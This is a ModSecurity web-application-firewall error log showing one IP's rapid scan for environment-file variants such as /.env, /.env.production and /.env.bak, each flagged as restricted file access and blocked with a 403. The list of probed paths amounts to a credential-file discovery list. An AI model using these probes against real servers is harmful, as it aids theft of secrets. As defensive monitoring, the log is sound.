[Tue Oct 27 06:50:34.310812 2026] [security2:error] [pid 3209611:tid 3209611] [client 85.155.15.20:35152] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auCB-pekxYBRCO5jo1OHogAAABA"]
[Tue Oct 27 06:50:34.310812 2026] [security2:error] [pid 3201647:tid 3201647] [client 85.155.15.20:35144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auCB-pVvqGtwGAy54pYPmAAAAA0"]
[Tue Oct 27 06:50:34.311049 2026] [security2:error] [pid 3201647:tid 3201647] [client 85.155.15.20:35144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auCB-pVvqGtwGAy54pYPmAAAAA0"]
[Tue Oct 27 06:50:34.311057 2026] [security2:error] [pid 3209611:tid 3209611] [client 85.155.15.20:35152] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auCB-pekxYBRCO5jo1OHogAAABA"]
[Tue Oct 27 06:50:34.311102 2026] [security2:error] [pid 3201647:tid 3201647] [client 85.155.15.20:35144] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auCB-pVvqGtwGAy54pYPmAAAAA0"]
[Tue Oct 27 06:50:34.311133 2026] [security2:error] [pid 3201647:tid 3201647] [client 85.155.15.20:35144] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auCB-pVvqGtwGAy54pYPmAAAAA0"]
[Tue Oct 27 06:50:34.321719 2026] [security2:error] [pid 3219287:tid 3219287] [client 85.155.15.20:35186] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auCB-n3QSMGbzwlGMObVXQAAAAU"]
[Tue Oct 27 06:50:34.321888 2026] [security2:error] [pid 3219287:tid 3219287] [client 85.155.15.20:35186] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auCB-n3QSMGbzwlGMObVXQAAAAU"]
[Tue Oct 27 06:50:34.322162 2026] [security2:error] [pid 3219287:tid 3219287] [client 85.155.15.20:35186] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auCB-n3QSMGbzwlGMObVXQAAAAU"]
[Tue Oct 27 06:50:34.331926 2026] [security2:error] [pid 3209603:tid 3209603] [client 85.155.15.20:35162] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auCB-j4THoroSjopRdX_kAAAAAE"]
[Tue Oct 27 06:50:34.332056 2026] [security2:error] [pid 3209603:tid 3209603] [client 85.155.15.20:35162] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auCB-j4THoroSjopRdX_kAAAAAE"]
[Tue Oct 27 06:50:34.332297 2026] [security2:error] [pid 3209603:tid 3209603] [client 85.155.15.20:35162] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auCB-j4THoroSjopRdX_kAAAAAE"]
[Tue Oct 27 06:50:34.342869 2026] [security2:error] [pid 3212771:tid 3212771] [client 85.155.15.20:35106] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env"] [unique_id "auCB-toUAr6d2NuN9v3GSAAAAAQ"]
[Tue Oct 27 06:50:34.343005 2026] [security2:error] [pid 3212771:tid 3212771] [client 85.155.15.20:35106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env"] [unique_id "auCB-toUAr6d2NuN9v3GSAAAAAQ"]
[Tue Oct 27 06:50:34.343240 2026] [security2:error] [pid 3212771:tid 3212771] [client 85.155.15.20:35106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env"] [unique_id "auCB-toUAr6d2NuN9v3GSAAAAAQ"]
[Tue Oct 27 06:50:34.353873 2026] [security2:error] [pid 3201640:tid 3201640] [client 85.155.15.20:35118] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env"] [unique_id "auCB-uJWPhOgLfVxy6aTKgAAAAI"]
[Tue Oct 27 06:50:34.354011 2026] [security2:error] [pid 3201640:tid 3201640] [client 85.155.15.20:35118] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env"] [unique_id "auCB-uJWPhOgLfVxy6aTKgAAAAI"]
[Tue Oct 27 06:50:34.354270 2026] [security2:error] [pid 3201640:tid 3201640] [client 85.155.15.20:35118] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env"] [unique_id "auCB-uJWPhOgLfVxy6aTKgAAAAI"]
[Tue Oct 27 06:50:34.444208 2026] [security2:error] [pid 3201647:tid 3201647] [client 85.155.15.20:35144] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auCB-pVvqGtwGAy54pYPmQAAAA0"]
[Tue Oct 27 06:50:34.444458 2026] [security2:error] [pid 3201647:tid 3201647] [client 85.155.15.20:35144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auCB-pVvqGtwGAy54pYPmQAAAA0"]
[Tue Oct 27 06:50:34.444700 2026] [security2:error] [pid 3201647:tid 3201647] [client 85.155.15.20:35144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auCB-pVvqGtwGAy54pYPmQAAAA0"]
[Tue Oct 27 06:50:34.446027 2026] [security2:error] [pid 3219287:tid 3219287] [client 85.155.15.20:35186] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auCB-n3QSMGbzwlGMObVXgAAAAU"]
[Tue Oct 27 06:50:34.446181 2026] [security2:error] [pid 3219287:tid 3219287] [client 85.155.15.20:35186] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auCB-n3QSMGbzwlGMObVXgAAAAU"]
[Tue Oct 27 06:50:34.446400 2026] [security2:error] [pid 3219287:tid 3219287] [client 85.155.15.20:35186] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auCB-n3QSMGbzwlGMObVXgAAAAU"]
[Tue Oct 27 06:50:34.460028 2026] [security2:error] [pid 3209603:tid 3209603] [client 85.155.15.20:35162] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auCB-j4THoroSjopRdX_kQAAAAE"]
[Tue Oct 27 06:50:34.460172 2026] [security2:error] [pid 3219292:tid 3219292] [client 85.155.15.20:35112] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "auCB-m_oZ855J3-bmxEo8wAAAAY"]
[Tue Oct 27 06:50:34.460221 2026] [security2:error] [pid 3209603:tid 3209603] [client 85.155.15.20:35162] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auCB-j4THoroSjopRdX_kQAAAAE"]
[Tue Oct 27 06:50:34.460342 2026] [security2:error] [pid 3219292:tid 3219292] [client 85.155.15.20:35112] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "auCB-m_oZ855J3-bmxEo8wAAAAY"]
[Tue Oct 27 06:50:34.460443 2026] [security2:error] [pid 3209603:tid 3209603] [client 85.155.15.20:35162] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auCB-j4THoroSjopRdX_kQAAAAE"]
[Tue Oct 27 06:50:34.460589 2026] [security2:error] [pid 3219292:tid 3219292] [client 85.155.15.20:35112] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "auCB-m_oZ855J3-bmxEo8wAAAAY"]
[Tue Oct 27 06:50:34.470144 2026] [security2:error] [pid 3212771:tid 3212771] [client 85.155.15.20:35106] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auCB-toUAr6d2NuN9v3GSQAAAAQ"]
[Tue Oct 27 06:50:34.470290 2026] [security2:error] [pid 3201640:tid 3201640] [client 85.155.15.20:35118] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auCB-uJWPhOgLfVxy6aTKwAAAAI"]
[Tue Oct 27 06:50:34.470301 2026] [security2:error] [pid 3212771:tid 3212771] [client 85.155.15.20:35106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auCB-toUAr6d2NuN9v3GSQAAAAQ"]
[Tue Oct 27 06:50:34.470450 2026] [security2:error] [pid 3201640:tid 3201640] [client 85.155.15.20:35118] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auCB-uJWPhOgLfVxy6aTKwAAAAI"]
[Tue Oct 27 06:50:34.470540 2026] [security2:error] [pid 3212771:tid 3212771] [client 85.155.15.20:35106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auCB-toUAr6d2NuN9v3GSQAAAAQ"]
[Tue Oct 27 06:50:34.470676 2026] [security2:error] [pid 3201640:tid 3201640] [client 85.155.15.20:35118] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auCB-uJWPhOgLfVxy6aTKwAAAAI"]
[Tue Oct 27 06:50:34.471501 2026] [security2:error] [pid 3201656:tid 3201656] [client 85.155.15.20:35132] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auCB-kmqTSs7laY6jMTjBgAAABc"]
[Tue Oct 27 06:50:34.471652 2026] [security2:error] [pid 3201656:tid 3201656] [client 85.155.15.20:35132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auCB-kmqTSs7laY6jMTjBgAAABc"]
[Tue Oct 27 06:50:34.471880 2026] [security2:error] [pid 3201656:tid 3201656] [client 85.155.15.20:35132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auCB-kmqTSs7laY6jMTjBgAAABc"]
[Tue Oct 27 06:50:34.529484 2026] [security2:error] [pid 3209611:tid 3209611] [client 85.155.15.20:35152] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env~"] [unique_id "auCB-pekxYBRCO5jo1OHpAAAABA"]
[Tue Oct 27 06:50:34.529700 2026] [security2:error] [pid 3209611:tid 3209611] [client 85.155.15.20:35152] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env~"] [unique_id "auCB-pekxYBRCO5jo1OHpAAAABA"]
